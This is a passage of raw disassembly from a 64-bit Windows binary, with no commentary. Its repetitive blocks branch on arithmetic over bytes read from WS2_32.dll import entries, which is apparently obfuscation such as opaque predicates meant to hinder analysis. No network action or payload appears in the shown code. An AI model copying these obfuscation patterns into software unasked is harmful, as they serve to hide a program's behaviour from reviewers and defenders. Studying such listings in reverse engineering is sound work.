cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fae7
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008fae7
mov esi, 3
jmp 0x14008fb74
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fb74
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si esi, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fc22
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008fc22
mov r14d, 3
jmp 0x14008fcb0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fcb0
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r14d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r14d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, esi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*2]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008ffab
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fdbc
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008fdbc
mov r12d, 3
jmp 0x14008fe4a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fe4a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r12d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008fef8
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14008fef8
mov r13d, 3
jmp 0x14008ff86
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ff86
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r13d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r13d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, r12d
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400902ae
mov eax, dword [rbp + 0x67]
sub eax, 0x79
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400900a8
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400900a8
mov edi, 3
mov dword [rbp + 0x77], edi
jmp 0x14009013d
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009013a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp + 0x77], edi
jmp 0x14009013d
mov edi, dword [rbp + 0x77]
mov eax, dword [rbp + 0x67]
sub eax, 0x79
movd xmm2, eax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
cvtdq2pd xmm2, xmm2
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400901f9
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400901f9
mov dword [rbp + 0x7f], 3
jmp 0x140090289
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090289
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp + 0x7f], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp + 0x7f]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028f0
movsx ecx, byte [0x14037c72a]
movsx edx, al
imul ecx, edx
imul ebx, ecx, 7
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14009058d
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090395
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090395
mov edi, 3
mov dword [rbp - 0x55], edi
jmp 0x14009042a
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090427
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp - 0x55], edi
jmp 0x14009042a
mov edi, dword [rbp - 0x55]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm7
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400904d8
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400904d8
mov dword [rbp - 0x59], 3
jmp 0x140090568
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090568
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si eax, xmm0
mov dword [rbp - 0x59], eax
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, dword [rbp - 0x59]
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
mov eax, dword [rbp + 0x67]
inc eax
mov dword [rbp + 0x67], eax
mov eax, dword [rbp + 0x67]
cmp eax, 1
jb 0x14008f6e4
mov rbx, qword [rbp - 0x49]
mov eax, dword [rbp - 0x4d]
lea r8, [0x140088690]
mov rcx, qword [rbx + 0x38]
lea r9, [0x140000000]
mov edx, 2
mov byte [rbp - 0x51], 1
call qword [r9 + rax*8 + 0x371210]
mov rax, qword [0x14033c640]
movsd xmm6, qword [0x14033c9d8]
movaps xmm8, xmmword [rsp + 0x60]
mov qword [rbp - 0x51], rax
test al, al
jne 0x1400914d0
mov dword [rbp + 0x67], 0
mov eax, dword [rbp + 0x67]
mov esi, dword [rbp + 0x67]
mov r14d, dword [rbp + 0x67]
mov r15d, dword [rbp + 0x67]
mov r12d, dword [rbp + 0x67]
mov r13d, dword [rbp + 0x67]
nop dword [rax]
call fcn.1400028f0
movsx edx, byte [0x14037c72a]
movsx ecx, al
imul edx, ecx
lea ebx, [rdx + rdx*4]
add ebx, ebx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400908ef
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400906fa
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x1400906fa
mov edi, 3
mov dword [rbp + 0x6f], edi
jmp 0x14009078f
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009078c
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si edi, xmm0
mov dword [rbp + 0x6f], edi
jmp 0x14009078f
mov edi, dword [rbp + 0x6f]
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm10
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14009083d
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x14009083d
mov r15d, 3
jmp 0x1400908cb
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400908cb
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r15d, xmm0
movsxd rax, dword [rbp + 0x67]
mov r8d, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
and r8d, r15d
add r8d, r8d
mov edx, dword [rbp + rax*4 - 0x4d]
movsxd rax, dword [rbp + 0x67]
sub edx, r8d
add edx, edi
mov dword [rbp + rax*4 - 0x4d], edx
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx edi, al
imul edi, ebx
add edi, edi
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, edi
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400911d9
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090c03
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090a14
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090a14
mov r12d, 3
jmp 0x140090aa2
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090aa2
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*8]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
xorps xmm0, xmm0
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x41]
cvttsd2si r12d, xmm0
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm9
movsd qword [rbp - 0x41], xmm1
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*2]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140090b50
call fcn.1400028f0
movsx ebx, byte [0x14037c72a]
movsx ecx, al
imul ebx, ecx
shl ebx, 3
call fcn.140002920
movsx ecx, al
sub ebx, ecx
call fcn.140002900
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
movsx edx, al
add edx, ebx
add ecx, edx
je 0x140090b50
mov r13d, 3
jmp 0x140090bde
call fcn.1400028e0
movsx ebx, al
call fcn.1400028d0
movsx ecx, al
imul ecx, ebx
lea ebx, [rcx + rcx*4]
call fcn.140002910
movsx ecx, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
add ecx, ebx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
